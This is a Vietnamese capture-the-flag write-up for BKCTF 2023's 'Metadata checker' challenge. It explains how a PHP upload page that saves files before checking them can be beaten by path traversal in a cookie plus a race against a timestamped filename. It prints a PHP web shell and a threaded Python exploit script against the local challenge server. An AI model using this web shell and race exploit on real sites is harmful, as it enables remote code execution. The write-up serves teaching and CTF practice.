BKCTF 2023 - Metadata checker | f1rst

index

Web cho mình upload 1 file ảnh định dạng jpg lên và sẽ hiển thị ra metadata của bức ảnh đó

Ở đây mình đã upload bức ảnh có tên là ocean.jpeg.

Phân tích

1
<?php
2
error_reporting(0);
3

4
setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days
5

6
if (isset($_FILES) && !empty($_FILES)) {
7
    $uploadpath = "/var/tmp/";
8
    $error = "";
9

10
    $timestamp = time();
11

12
    $userValue = $_COOKIE['user'];
13
    $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
14

15
    move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
16

17
    if ($_FILES["image"]["size"] > 1048576) {
18
        $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
19
    } elseif ($_FILES["image"]["type"] !== "image/jpeg") {
20
        $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
21
    } else {
22
      $exif = exif_read_data($target_file, 0, true);
23

24
      if ($exif === false) {
25
          $error .= '<p class="h5 text-danger">No metadata found.</p>';
26
      } else {
27
          $metadata = '<table class="table table-striped">';
28
          foreach ($exif as $key => $section) {
29
              $metadata .=
30
                  '<thead><tr><th colspan="2" class="text-center">' .
31
                  $key .
32
                  "</th></tr></thead><tbody>";
33
              foreach ($section as $name => $value) {
34
                  $metadata .=
35
                      "<tr><td>" . $name . "</td><td>" . $value . "</td></tr>";
36
              }
37
              $metadata .= "</tbody>";
38
          }
39
          $metadata .= "</table>";
40
      }
41
    }
42
}
43
?>
44
<!DOCTYPE html>
45
<!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout -->
46
<html lang="en" data-bs-theme="auto">
47

48
<head>
49
  <meta charset="utf-8">
50
  <meta name="viewport" content="width=device-width, initial-scale=1">
51
  <title>BKSEC Metadata checker</title>
52
  <link href="assets/dist/css/bootstrap.min.css" rel="stylesheet">
53
  <link href="assets/dist/css/checkout.css" rel="stylesheet">
54
  <link rel="icon" href="assets/images/logo.png" type="image/png">
55
</head>
56

57
<body class="bg-body-tertiary">
58

59
  <div class="container">
60
    <main>
61
      <div class="py-5 text-center">
62
        <a href="/"><img class="d-block mx-auto mb-4"  src="assets/images/logo.png" alt="" width="72"></a>
63
        <h2>BKSEC Metadata checker</h2>
64
        <p class="lead">Only jpg files are supported and maximum file size is 1MB.</p>
65
      </div>
66
      <form action="/index.php" method="post" enctype="multipart/form-data">
67
        <label class="h5 form-label">Upload your image</label>
68
        <input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/>
69
        <div class="col text-center">
70
            <button class="btn btn-primary btn-lg" type="submit">Upload</button>
71
        </div>
72
      </form>
73
      <?php
74
        // I want to show a loading effect within 1.5s here but don't know how to use javascript
75
        sleep(1.5);
76
        // This might be okay..... I think so
77
        // My teammates will help me fix it later, I hope they don't forget that ........
78
        echo $error;
79
        echo $metadata;
80
        unlink($target_file);
81
        ?>
82
    </main>
83

84
    <footer class="my-5 pt-5 text-body-secondary text-center text-small">
85
      <p class="mb-1">&copy; 2023 CLB An Toàn Thông Tin - BKHN</p>
86
    </footer>
87
  </div>
88
  <script src="assets/dist/js/bootstrap.bundle.min.js"></script>
89
</body>
90
</html>

Ý tưởng của bài này lấy từ post về race condition của vnpt sec.

Ok quay lại phân tích source nào. Cách hoạt động của web này là:

Upload file
Đổi tên file
Lưu file
Check đủ thứ
Hiển thị kết quả
Xoá fille

Có thể thấy lỗi logic cực kì nghiêm trọng ở đây, thay vì check trước rồi mới lưu thì lại lưu rồi check rồi mới xoá. Đã thế không xoá ngay lúc check định dạng file mà phải chờ 1.5s sau khi kiểm tra hết mọi thứ rồi mới check. Đây chính là thứ dẫn tới Race condition.

Mình có thể up file php lên và gọi đến nó để có thể thực thi code bẩn ngay trước khi nó bị xoá khỏi server.

NHƯNG

File được up lên lại ở /var/tmp/ nơi user không thể với tới =(( Vậy thì phải tìm cách chuyển file này sang 1 dir khác mà được public ra ngoài internet. Ở đây mình sẽ chọn /var/www/html/assets/images/

Path traversal

Để làm được điều này thì mình phải thay đổi được tên của file. Thay vì BKSEC_guest_<timestamp>_<tên>.jpeg sẽ phải là ../www/html/assets/images/_<timestamp>_<tên>.jpeg

Điều này có thể dễ thực hiện bằng cách đổi giá trị của cookie user thành ../www/html/assets/images/

Race

Ok vậy vấn đề về việc up file đến public folder đã xong. Và nhiệm vụ còn lại là thực hiện race mà thôi.

Tuy nhiên với mỗi lần file up lên thì server sẽ gắn timestamp vào tên file. Như ý tưởng từ bài post của VPNT sec ở trên. Chúng ta có thể thực hiện race bằng cách up liên tục và đồng thời gọi 1 file có timestamp mà mình đoán trước sẽ xuất hiện trong tương lai để gọi tới.

VD: mình up file lên và thời điểm 1691546583 thì mình sẽ liên tục up và gọi đến file 1691546586 (sau thời điểm up 3s).

Exploit

Kết nối mọi thứ lại với nhau, mình sử dụng script này

<?php system($_REQUEST['cmd']); ?>

import time
import requests
from urllib.parse import quote
from multiprocessing.dummy import Pool as ThreadPool

current_timestamp = int(time.time())
print("Current timestamp: ", current_timestamp)
new_timestamp = current_timestamp + 3
print("New timestamp:", new_timestamp)

proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}

file_name = "a.php"
cmd = ""

download_path = f"assets/images/_{new_timestamp}_{file_name}?cmd={quote(cmd)}"
download_url_with_timestamp = f"http://127.0.0.1/{download_path}"

cookie = {"user": "../www/html/assets/images/"}

def get(i):
    while True:
        with open(file_name, "rb") as file:
            response = requests.post("http://127.0.0.1/index.php", files={"image": file}, proxies=proxies, cookies=cookie)

        response = requests.get(download_url_with_timestamp, proxies=proxies)
        if "BKSEC" in response.text:
            print("FLAG FOUND!")
            print(response.text)
            break


pool = ThreadPool(10)
result = pool.map_async(get, range(20)).get(6)

Script trên sẽ liên tục up file độc hại a.php lên và liên tục gọi đến file kèm command mình muốn thực thi ở phía sau. Set proxy 127.0.0.1:8080 để có thể xem các request trên burpsuite. Nếu không thành công thì có thể nới rộng thời gian chạy của script bằng cách tăng thời gian khác biệt giữa thời điểm bắt đầu up file và file ước lượng sẽ có ở tương lai ở dòng 8 và tăng thời gian chạy của script ở dòng 34.

Vì Dockerfile cho chúng ta biết vị trí của flag là /flag.txt nên chúng ta có thể cat luôn file này thay vì phải đi tìm flag ở đâu. Khi chạy script trên thu được kết quả:

Nếu set proxy thì có thể thấy request burpsuite như thế này: